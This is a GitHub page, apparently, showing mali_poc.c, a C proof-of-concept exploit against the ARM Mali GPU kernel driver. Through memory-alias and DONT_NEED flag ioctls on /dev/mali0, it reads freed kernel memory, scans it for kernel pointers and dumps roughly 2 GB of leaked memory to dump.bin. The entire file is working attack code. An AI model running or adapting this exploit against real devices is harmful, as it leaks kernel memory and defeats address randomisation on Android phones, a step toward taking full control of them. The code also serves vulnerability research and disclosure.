-
Notifications
You must be signed in to change notification settings - Fork 28
/
Copy pathmali_poc.c
179 lines (132 loc) · 4.22 KB
/
mali_poc.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
#include <stdio.h>
#include <errno.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <sys/ioctl.h>
#include <errno.h>
#include <time.h>
#include <sys/mman.h>
#include <sys/epoll.h>
#include <sys/prctl.h>
#include <byteswap.h>
#include "mali.h"
#define PAGE_SHIFT 12
#define ALLOC_SIZE 0xa0000000
#define WRITE_MAX 0x7ffff000
int main(){
fflush(stdin);
fflush(stdout);
struct kbase_ioctl_version_check data;
data.major = 999;
data.minor = 999;
int fd = open("/dev/mali0", O_RDWR);
if (fd == -1) {
perror("Open mali0");
return -1;
}
if(ioctl(fd, KBASE_IOCTL_VERSION_CHECK, &data) < 0){
perror("ioctl <KBASE_IOCTL_VERSION_CHECK> failed and returned");
return -1;
}
printf("Version major,minor = %d,%d\n", data.major, data.minor);
struct kbase_ioctl_set_flags flags;
flags.create_flags = BASEP_CONTEXT_CREATE_KERNEL_FLAGS;
if(ioctl(fd, KBASE_IOCTL_SET_FLAGS, &flags) < 0){
perror("ioctl <KBASE_IOCTL_SET_FLAGS> failed and returned");
return -1;
}
void *mem_area = mmap(NULL, ALLOC_SIZE, PROT_READ | PROT_WRITE,
MAP_SHARED, fd, BASE_MEM_MAP_TRACKING_HANDLE );
if(mem_area == MAP_FAILED){
perror("mmap failed : ");
return -1;
}
union kbase_ioctl_mem_alloc mem_alloc;
mem_alloc.in.va_pages = ALLOC_SIZE >> PAGE_SHIFT;
mem_alloc.in.commit_pages = ALLOC_SIZE >> PAGE_SHIFT;
mem_alloc.in.flags = BASE_MEM_SAME_VA | BASE_MEM_PROT_CPU_RD |
BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_CPU_WR |
BASE_MEM_PROT_GPU_WR;
if(ioctl(fd, KBASE_IOCTL_MEM_ALLOC, &mem_alloc) < 0){
perror("ioctl <KBASE_IOCTL_MEM_ALLOC> failed and returned");
return -1;
}
void *gpu_va = mmap(NULL, ALLOC_SIZE, PROT_READ | PROT_WRITE,
MAP_SHARED, fd, mem_alloc.out.gpu_va);
if(gpu_va == MAP_FAILED){
perror("GPU_VA mmap failed: ");
return -1;
}
printf("GPU_VA is : 0x%llx\n", (unsigned long long)gpu_va);
union kbase_ioctl_mem_alias mem_alias;
mem_alias.in.nents = 1;
mem_alias.in.stride = ALLOC_SIZE >> PAGE_SHIFT;
mem_alias.in.flags = BASE_MEM_PROT_GPU_RD | BASE_MEM_PROT_GPU_WR
| BASE_MEM_PROT_CPU_RD;
struct base_mem_aliasing_info aliasing_info;
aliasing_info.handle.basep.handle = (__u64)gpu_va;
aliasing_info.offset = 0x0;
aliasing_info.length = ALLOC_SIZE >> PAGE_SHIFT;
mem_alias.in.aliasing_info = (__u64)&aliasing_info;
if(ioctl(fd, KBASE_IOCTL_MEM_ALIAS, &mem_alias) < 0){
perror("ioctl <KBASE_IOCTL_MEM_ALIAS> failed and returned");
return -1;
}
struct kbase_ioctl_mem_flags_change flags_change;
flags_change.gpu_va = (__u64)gpu_va;
flags_change.mask = BASE_MEM_FLAGS_MODIFIABLE | BASE_MEM_DONT_NEED;
flags_change.flags = BASE_MEM_FLAGS_MODIFIABLE | BASE_MEM_DONT_NEED;
if(ioctl(fd, KBASE_IOCTL_MEM_FLAGS_CHANGE, &flags_change) < 0){
perror("ioctl <KBASE_IOCTL_MEM_FLAGS_CHANGE> failed and returned");
return -1;
}
printf("flags_change is successful.\n");
void *alias_va = mmap(0, ALLOC_SIZE, PROT_READ,
MAP_SHARED, fd, mem_alias.out.gpu_va);
if(alias_va == MAP_FAILED){
perror("ALIAS_VA mmap failed: ");
return -1;
}
printf("ALIAS_VA is : 0x%llx\n", (unsigned long long)alias_va);
// Just do some operations...
int stat = open("/proc/self/stat", O_RDONLY);
void *dummy = mmap(NULL, 0x4000, PROT_READ | PROT_WRITE, MAP_SHARED|MAP_ANONYMOUS, -1, 0);
if(dummy == MAP_FAILED){
perror("dummy mmap ");
return -1;
}
memset(dummy, 0x41, 0x4000);
int fds[2];
pipe(fds);
int binder_fds[100];
for(int i=0; i<100; i++)
binder_fds[i] = open("/dev/binder", O_RDWR);
printf("Looking for leaks...\n");
int vulnerable = 0;
int found = 0;
size_t iterate = ALLOC_SIZE/8;
for(size_t i=0; i<iterate; i++){
if((*(unsigned long *)(alias_va + i*8) & 0xffffff8000000000) == 0xffffff8000000000){
printf("Found possible kernel addr : 0x%lx\n", *(unsigned long *)(alias_va + i*8) );
vulnerable = 1;
found += 1;
}
if(found == 50)
break;
}
int dump_fd;
if((dump_fd = creat("./dump.bin", S_IRUSR | S_IWUSR)) < 0){
perror("Open dump.bin file");
return -1;
}
write(dump_fd, alias_va, WRITE_MAX);
if(vulnerable){
printf("Found leaks. Also you can check 'dump.bin' file for more leaks.\n");
} else {
printf("Couldn't find any kernel leak, might check 'dump.bin' file.\n");
}
return 0;
}